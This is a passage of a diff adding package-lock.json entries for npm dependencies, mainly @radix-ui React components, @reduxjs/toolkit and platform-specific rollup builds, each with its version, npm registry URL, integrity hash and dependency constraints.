"https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz", + "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==" + }, + "node_modules/@radix-ui/react-arrow": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.7.tgz", + "integrity": "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==", + "dependencies": { + "@radix-ui/react-primitive": "2.1.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collapsible": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.12.tgz", + "integrity": "sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA==", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collection": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.7.tgz", + "integrity": "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-slot": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-compose-refs": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz", + "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-context": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.2.tgz", + "integrity": "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-dialog": { + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.15.tgz", + "integrity": "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw==", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-dismissable-layer": "1.1.11", + "@radix-ui/react-focus-guards": "1.1.3", + "@radix-ui/react-focus-scope": "1.1.7", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-portal": "1.1.9", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-slot": "1.2.3", + "@radix-ui/react-use-controllable-state": "1.2.2", + "aria-hidden": "^1.2.4", + "react-remove-scroll": "^2.6.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-direction": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.1.tgz", + "integrity": "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-dismissable-layer": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.11.tgz", + "integrity": "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-escape-keydown": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-dropdown-menu": { + "version": "2.1.16", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.16.tgz", + "integrity": "sha512-1PLGQEynI/3OX/ftV54COn+3Sud/Mn8vALg2rWnBLnRaGtJDduNW/22XjlGgPdpcIbiQxjKtb7BkcjP00nqfJw==", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-menu": "2.1.16", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-focus-guards": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.3.tgz", + "integrity": "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-focus-scope": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.1.7.tgz", + "integrity": "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw==", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-id": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.1.tgz", + "integrity": "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-menu": { + "version": "2.1.16", + "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.16.tgz", + "integrity": "sha512-72F2T+PLlphrqLcAotYPp0uJMr5SjP5SL01wfEspJbru5Zs5vQaSHb4VB3ZMJPimgHHCHG7gMOeOB9H3Hdmtxg==", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-collection": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-dismissable-layer": "1.1.11", + "@radix-ui/react-focus-guards": "1.1.3", + "@radix-ui/react-focus-scope": "1.1.7", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-popper": "1.2.8", + "@radix-ui/react-portal": "1.1.9", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-roving-focus": "1.1.11", + "@radix-ui/react-slot": "1.2.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "aria-hidden": "^1.2.4", + "react-remove-scroll": "^2.6.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-popper": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.8.tgz", + "integrity": "sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==", + "dependencies": { + "@floating-ui/react-dom": "^2.0.0", + "@radix-ui/react-arrow": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-layout-effect": "1.1.1", + "@radix-ui/react-use-rect": "1.1.1", + "@radix-ui/react-use-size": "1.1.1", + "@radix-ui/rect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-portal": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.9.tgz", + "integrity": "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==", + "dependencies": { + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-presence": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.5.tgz", + "integrity": "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-primitive": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", + "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", + "dependencies": { + "@radix-ui/react-slot": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-roving-focus": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.11.tgz", + "integrity": "sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA==", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-collection": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-controllable-state": "1.2.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-tabs": { + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/@radix-ui/react-tabs/-/react-tabs-1.1.13.tgz", + "integrity": "sha512-7xdcatg7/U+7+Udyoj2zodtI9H/IIopqo+YOIcZOq1nJwXWBZ9p8xiu5llXlekDbZkca79a/fozEYQXIA4sW6A==", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-roving-focus": "1.1.11", + "@radix-ui/react-use-controllable-state": "1.2.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-toast": { + "version": "1.2.15", + "resolved": "https://registry.npmjs.org/@radix-ui/react-toast/-/react-toast-1.2.15.tgz", + "integrity": "sha512-3OSz3TacUWy4WtOXV38DggwxoqJK4+eDkNMl5Z/MJZaoUPaP4/9lf81xXMe1I2ReTAptverZUpbPY4wWwWyL5g==", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-collection": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-dismissable-layer": "1.1.11", + "@radix-ui/react-portal": "1.1.9", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-use-layout-effect": "1.1.1", + "@radix-ui/react-visually-hidden": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-tooltip": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.2.8.tgz", + "integrity": "sha512-tY7sVt1yL9ozIxvmbtN5qtmH2krXcBCfjEiCgKGLqunJHvgvZG2Pcl2oQ3kbcZARb1BGEHdkLzcYGO8ynVlieg==", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-dismissable-layer": "1.1.11", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-popper": "1.2.8", + "@radix-ui/react-portal": "1.1.9", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-slot": "1.2.3", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-visually-hidden": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-callback-ref": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.1.tgz", + "integrity": "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-controllable-state": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz", + "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==", + "dependencies": { + "@radix-ui/react-use-effect-event": "0.0.2", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-effect-event": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz", + "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-escape-keydown": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.1.tgz", + "integrity": "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==", + "dependencies": { + "@radix-ui/react-use-callback-ref": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-layout-effect": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz", + "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-rect": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.1.tgz", + "integrity": "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==", + "dependencies": { + "@radix-ui/rect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-size": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.1.tgz", + "integrity": "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-visually-hidden": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz", + "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==", + "dependencies": { + "@radix-ui/react-primitive": "2.1.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/rect": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.1.tgz", + "integrity": "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==" + }, + "node_modules/@reduxjs/toolkit": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-2.10.1.tgz", + "integrity": "sha512-/U17EXQ9Do9Yx4DlNGU6eVNfZvFJfYpUtRRdLf19PbPjdWBxNlxGZXywQZ1p1Nz8nMkWplTI7iD/23m07nolDA==", + "dependencies": { + "@standard-schema/spec": "^1.0.0", + "@standard-schema/utils": "^0.3.0", + "immer": "^10.2.0", + "redux": "^5.0.1", + "redux-thunk": "^3.1.0", + "reselect": "^5.1.0" + }, + "peerDependencies": { + "react": "^16.9.0 || ^17.0.0 || ^18 || ^19", + "react-redux": "^7.2.1 || ^8.1.3 || ^9.0.0" + }, + "peerDependenciesMeta": { + "react": { + "optional": true + }, + "react-redux": { + "optional": true + } + } + }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.0-beta.43", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.43.tgz", + "integrity": "sha512-5Uxg7fQUCmfhax7FJke2+8B6cqgeUJUD9o2uXIKXhD+mG0mL6NObmVoi9wXEU1tY89mZKgAYA6fTbftx3q2ZPQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.53.2.tgz", + "integrity": "sha512-yDPzwsgiFO26RJA4nZo8I+xqzh7sJTZIWQOxn+/XOdPE31lAvLIYCKqjV+lNH/vxE2L2iH3plKxDCRK6i+CwhA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.53.2.tgz", + "integrity": "sha512-k8FontTxIE7b0/OGKeSN5B6j25EuppBcWM33Z19JoVT7UTXFSo3D9CdU39wGTeb29NO3XxpMNauh09B+Ibw+9g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.53.2.tgz", + "integrity": "sha512-A6s4gJpomNBtJ2yioj8bflM2oogDwzUiMl2yNJ2v9E7++sHrSrsQ29fOfn5DM/iCzpWcebNYEdXpaK4tr2RhfQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.53.2.tgz", + "integrity": "sha512-e6XqVmXlHrBlG56obu9gDRPW3O3hLxpwHpLsBJvuI8qqnsrtSZ9ERoWUXtPOkY8c78WghyPHZdmPhHLWNdAGEw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.53.2.tgz", + "integrity": "sha512-v0E9lJW8VsrwPux5Qe5CwmH/CF/2mQs6xU1MF3nmUxmZUCHazCjLgYvToOk+YuuUqLQBio1qkkREhxhc656ViA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + 